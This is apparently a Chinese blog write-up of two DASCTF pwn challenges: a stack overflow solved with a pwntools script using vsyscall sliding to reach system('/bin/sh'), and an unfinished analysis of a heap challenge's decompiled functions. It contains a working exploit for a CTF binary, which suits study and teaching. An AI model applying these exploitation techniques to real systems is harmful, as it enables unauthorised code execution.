• 七夕_DASCTF_pwn_复现


    0x1 magic_number

    分析

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      char buf; // [rsp+0h] [rbp-30h]
      int v5; // [rsp+2Ch] [rbp-4h]
    
      sub_5559684A09A0(a1, a2, a3);
      v5 = rand();
      if ( v5 == 305419896 )
        system("/bin/sh");
      puts("Your Input :");
      read(0, &buf, 0x100uLL);
      return 0LL;
    }
    

    存在栈溢出,而且给了 system('/bin/sh') ,我们想办法调用即可。

    ki@ki-virtual-machine:/mnt/hgfs/gx16$ checksec pwn1
    [*] '/mnt/hgfs/gx16/pwn1'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      PIE enabled
    
    

    开启了 pie ,但是没开 cannary ,可以用 vsyscall 滑栈拿 shell 。看一下栈的情况:

    覆盖 main 低位为 system("/bin/sh") 的地址,返回地址至 main 处填上 vsyscall 中的 vgettimeofday 地址即可。
    PS:这题我测了下,16 跟 18 都可以,所以使用 vsyscall 滑栈在 pie 开启且没有给 libc 的情况下是挺实用的。

    exp

    from pwn import *
    
    file_name = './pwn1'
    libc_name = ''
    
    context.binary = file_name
    context.log_level = 'debug'
    #context.terminal = ['./hyperpwn/hyperpwn-client.sh']
    
    #p = process(file_name)
    p = remote('0.0.0.0',9997)
    #p = process('./idaidg/linux_server64')
    elf = ELF(file_name)
    
    libc = elf.libc
    syscall_vgettimeofday = 0xffffffffff600000
    
    payload = 'a' * 0x38 + p64(0xffffffffff600000) * 4 + 'xa8'
    
    p.send(payload)
    
    p.interactive()
    

    0x2 Silly_white_sweet

    分析

    先看看程序的功能

    puts addr

      puts("Do you like Lao Ganma?");
      return printf("Nanshan Pizza Hut give you a gift : %p
    ", &puts);
    

    题目首先给了 puts 函数的地址,初始 money 为 0x40000 。

    add 函数

      if ( choice == 1 && a4_dword_20301C && meney_dword_203010 - 256 >= 0 )
      {
        *((_DWORD *)&size_203068 + 6 * idx) = 1280;
        *((_QWORD *)&addr_203060 + 3 * idx) = malloc(0x500uLL);
        puts("Please write the paper content:");
        read(0, *((void **)&addr_203060 + 3 * idx), 0x499uLL);
        --a4_dword_20301C;
        puts("You cost $256 for sign a new contract!");
        meney_dword_203010 -= 256;
        result = inuse_dword_203070;
        inuse_dword_203070[6 * idx] = 1;
      }
      else
      {
        if ( choice != 2 || !a1_dword_203018 || meney_dword_203010 - 256 < 0 )
          my_exit();
        *((_DWORD *)&size_203068 + 6 * idx) = 18592;
        *((_QWORD *)&addr_203060 + 3 * idx) = malloc(*((signed int *)&size_203068 + 6 * idx));
        puts("Please write the paper content:");
        read(0, *((void **)&addr_203060 + 3 * idx), (unsigned int)(*((_DWORD *)&size_203068 + 6 * idx) - 1));
        --a1_dword_203018;
        puts("You cost $256 for sign a new contract!");
        meney_dword_203010 -= 256;
        result = inuse_dword_203070;
        inuse_dword_203070[6 * idx] = 1;
      }
    
    1. 可以分配 0x500 和 0x48a0 两种 chunk , 每种 chunk 只能分配三次 。
    2. 可以往 chunk 中写 size - 1 的内容。
    3. 每次分配需要 256 money 。

    confirm 函数

      if ( idx < 0 || idx > 4 )
        my_exit();
      if ( !inuse_dword_203070[6 * idx] )
        my_exit();
      if ( *((_DWORD *)&confirm_unk_20306C + 6 * idx) )
      {
        puts("You already confirm it!");
        my_exit();
      }
      if ( *((_DWORD *)&size_203068 + 6 * idx) > meney_dword_203010 )
      {
        puts("No!you don't have enough money!");
        my_exit();
      }
      printf("You cost $%d to confirm contract!
    ", *((unsigned int *)&size_203068 + 6 * idx));
      meney_dword_203010 -= *((_DWORD *)&size_203068 + 6 * idx);
      puts("Plz comfirm your contract content!");
      puts(*((const char **)&addr_203060 + 3 * idx));
      result = &confirm_unk_20306C;
      *((_DWORD *)&confirm_unk_20306C + 6 * idx) = 1;
    
    1. idx 需要在 0 至 4 之间。
    2. 这个 chunk 必须被分配过。
    3. 这个 chunk 不能 confirm 过。
    4. 需要 szie 大小的 money 。
    5. 将 chunk 内容打印出来 ,也相当于 show 函数。

    delete 函数

      __isoc99_scanf("%d", &idx);
      if ( idx < 0 || idx > 4 )
        my_exit();
      if ( !inuse_dword_203070[6 * idx] )
        my_exit();
      if ( !*((_DWORD *)&confirm_unk_20306C + 6 * idx) )
      {
        puts("plz confirm it first!");
        my_exit();
      }
      if ( 2 * *((_DWORD *)&size_203068 + 6 * idx) > meney_dword_203010 )
      {
        puts("No!you don't have enough money!");
        my_exit();
      }
      printf(
        "You cost $%d for unilaterally terminates the contract!
    ",
        (unsigned int)(2 * *((_DWORD *)&size_203068 + 6 * idx)));
      meney_dword_203010 -= 2 * *((_DWORD *)&size_203068 + 6 * idx);
      free(*((void **)&addr_203060 + 3 * idx));
      inuse_dword_203070[6 * idx] = 0;
      result = &confirm_unk_20306C;
      *((_DWORD *)&confirm_unk_20306C + 6 * idx) = 0;
    
    1. idx 在 0 到 4 之间。
    2. 这个 chunk 必须被分配过。
    3. 这个 chunk 必须 confirm 过。
    4. 需要 2 * size 的 money 。
    5. 单纯的释放 chunk ,指针没有置 0 ,不过 inuse 位置 0 了。

    show && edit 函数

        if ( !dword_203014 )
        {
          puts("You don't have any court!");
          my_exit();
        }
        idx = 0;
        printf("Please select the contract to use :");
        __isoc99_scanf("%d", &idx);
        if ( idx < 0 || idx > 4 )
          my_exit();
        choice = 0;
        printf("You want to read(1) or write(2) :", &idx);
        __isoc99_scanf("%d", &choice);
        if ( choice != 1 && choice != 2 )
          my_exit();
        if ( choice == 1 )
        {
          puts("This is your contract content!");
          puts(*((const char **)&addr_203060 + 3 * idx));
        }
        else
        {
          v2 = 0;
          printf("Please select the offset to use :", &choice);
          __isoc99_scanf("%d", &v2);
          if ( v2 < 0 || *((_DWORD *)&size_203068 + 6 * idx) - 1 <= v2 )
            my_exit();
          puts("Please change the contract content:");
          read(
            0,
            (void *)(*((_QWORD *)&addr_203060 + 3 * idx) + v2),
            (unsigned int)(*((_DWORD *)&size_203068 + 6 * idx) - 1 - v2));
        }
        printf("You will cost $%d to sue!
    ", (unsigned int)(10 * *((_DWORD *)&size_203068 + 6 * idx)));
        result = (unsigned int)(-10 * *((_DWORD *)&size_203068 + 6 * idx) + meney_dword_203010);
        if ( (signed int)result >= 0 )
        {
          v1 = -10 * *((_DWORD *)&size_203068 + 6 * idx);
          result = (unsigned int)(v1 + meney_dword_203010);
          meney_dword_203010 += v1;
        }
        else
        {
          meney_dword_203010 = 1;
        }
      }
      else
      {
        puts("No!you don't have enough money!");
        result = (unsigned int)(meney_dword_203010-- - 1);
      }
    

    这其实是把 add 与 edit 函数写到了一起。

    1. 法院不能被 sold 了。
    2. money 要超过 0x10000 。
    3. idx 在 0 到 4 之间。

    接下来进入判断分支:
    read 分支:

    • 打印 chunk 的内容 。

    write 分支:

    • 修改 chunk 内某处起的内容。
    1. 需要 size * 10 的 money 。

    sold court

          case 5u:
            if ( dword_203014 )
            {
              puts("You sold court!");
              meney_dword_203010 += 512;
              dword_203014 = 0;
            }
            else
            {
              puts("You don't have any court!");
            }
    

    有一个分支可以卖法院得钱 。

    (未完待续...)

  • 相关阅读:
    Java学习01-使用maven插件tomcat搭建web maven项目
    Anaconda3安装及使用
    python标准日志模块logging及日志系统设计
    python traceback捕获并打印异常
    python time
    PIL 中的 Image 模块
    python zipfile使用
    PHP 判断用户是否手机访问
    php数组相加 两个数组键名相同 后者不能覆盖前者
    解决Ubuntu Server 12.04换了网卡MAC地址后 网络不可用的问题.
  • 原文地址:https://www.cnblogs.com/luoleqi/p/13579635.html
Copyright © 2020-2023  润新知